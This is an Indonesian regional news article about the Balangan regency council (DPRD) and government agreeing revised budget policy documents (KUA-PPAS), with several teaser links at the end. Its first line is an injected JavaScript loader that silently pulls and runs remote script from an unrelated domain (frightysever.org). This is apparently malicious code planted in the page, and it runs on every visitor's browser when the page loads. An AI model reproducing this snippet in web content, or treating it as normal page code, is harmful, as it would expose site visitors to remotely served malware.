(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PARINGIN – Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Balangan bersama Pemerintah Kabupaten Balangan menyepakati Perubahan Kebijakan Umum Anggaran (KUA) dan Prioritas Plafon Anggaran Sementara (PPAS) untuk Anggaran Pendapatan dan Belanja Daerah (APBD) 2025 dalam rapat paripurna DPRD ke-38.
Bupati Balangan, H Abdul Hadi, mengatakan, KUA-PPAS menjadi dasar penyusunan Rencana Kerja Pemerintah Daerah (RKPD) 2026, dengan tema pembangunan “Peningkatan Pembangunan Infrastruktur dan Perekonomian serta Sumber Daya Manusia untuk Pembangunan Daerah yang Berkelanjutan”, dengan enam prioritas pembangunan yang telah dirumuskan dalam dokumen tersebut, dan dinilai sejalan dengan arah kebijakan nasional maupun provinsi.
“Prioritas ini kami pandang sesuai kebutuhan daerah dan menjadi bentuk dukungan terhadap RKP nasional dan RKPD Provinsi Kalimantan Selatan tahun 2026,” ujar Bupati Balangan di ruang rapat DPRD Balangan, Senin (14/7/2025).
Baca juga: Langganan Banjir di Tonhar Minta Solusi Embung, Ketua DPRD Banjarbaru Dukung Usulan Warga
Rapat paripurna dipimpin Ketua DPRD Balangan, Hj Lindawati didampingi Wakil Ketua Muhammad Rizkan dihadiri para anggota dewan, pimpinan Satuan Kerja Perangkat Daerah (SKPD), serta perwakilan masyarakat.
Menurut H Abdul Hadi terdapat penurunan proyeksi APBD 2026 akibat depresiasi harga acuan batubara sebesar 17,9 persen, sehingga mengganggu pendapat daerah.
“Penurunan ini sangat mempengaruhi pendapatan daerah, terutama pada pos pendapatan transfer,” tambahnya.
Dalam rapat tersebut, Sekretaris DPRD Balangan, Tamrin, membacakan draf perubahan KUA-PPAS yang telah dibahas bersama Tim Anggaran Pemerintah Daerah (TAPD).
Baca juga: Pelantikan Anggota PAW DPRD HSU, Ini Kata Bupati H Sahrujani
Ketua DPRD Balangan, Hj Linda Wati, menegaskan bahwa dokumen perubahan ini akan menjadi pedoman bagi seluruh SKPD dalam menyusun Rencana Kerja dan Anggaran (RKA) masing-masing.
“RKA SKPD akan diverifikasi dan dievaluasi oleh TAPD, hingga akhirnya disusun menjadi Rancangan Perubahan APBD Balangan,” tuturnya.
Dia berharap seluruh proses penyusunan hingga pembahasan berjalan tepat waktu agar program pembangunan dapat dilaksanakan secara maksimal. (Kanalkalimantan.com/mcbalangan)
Editor: kk
KANALKALIMANTAN.COM, BANJARBARU - Sekretaris Daerah (Sekda) Kota Banjarbaru Sirajoni menyampaikan dibalik efisiensi anggaran harus memberi… Read More
KANALKALIMANTAN.COM, PARINGIN - Kerusakan jalan di kawasan Muara Pitap - Lingsir dikeluhkan masyarakat pengguna jalan.… Read More
KANALKALIMANTAN.COM, MARTAPURA - Mahasiswa profesi ners Universitas Lambung Mangkurat (ULM) menggelar penyuluhan Keluarga Berencana (KB)… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo turun langsung ke pasar besar Kuala Kapuas… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 Penjabat (Pj) Kepala Desa… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar forum konsultasi publik penyelenggaraan Mal Pelayanan Publik… Read More
This website uses cookies.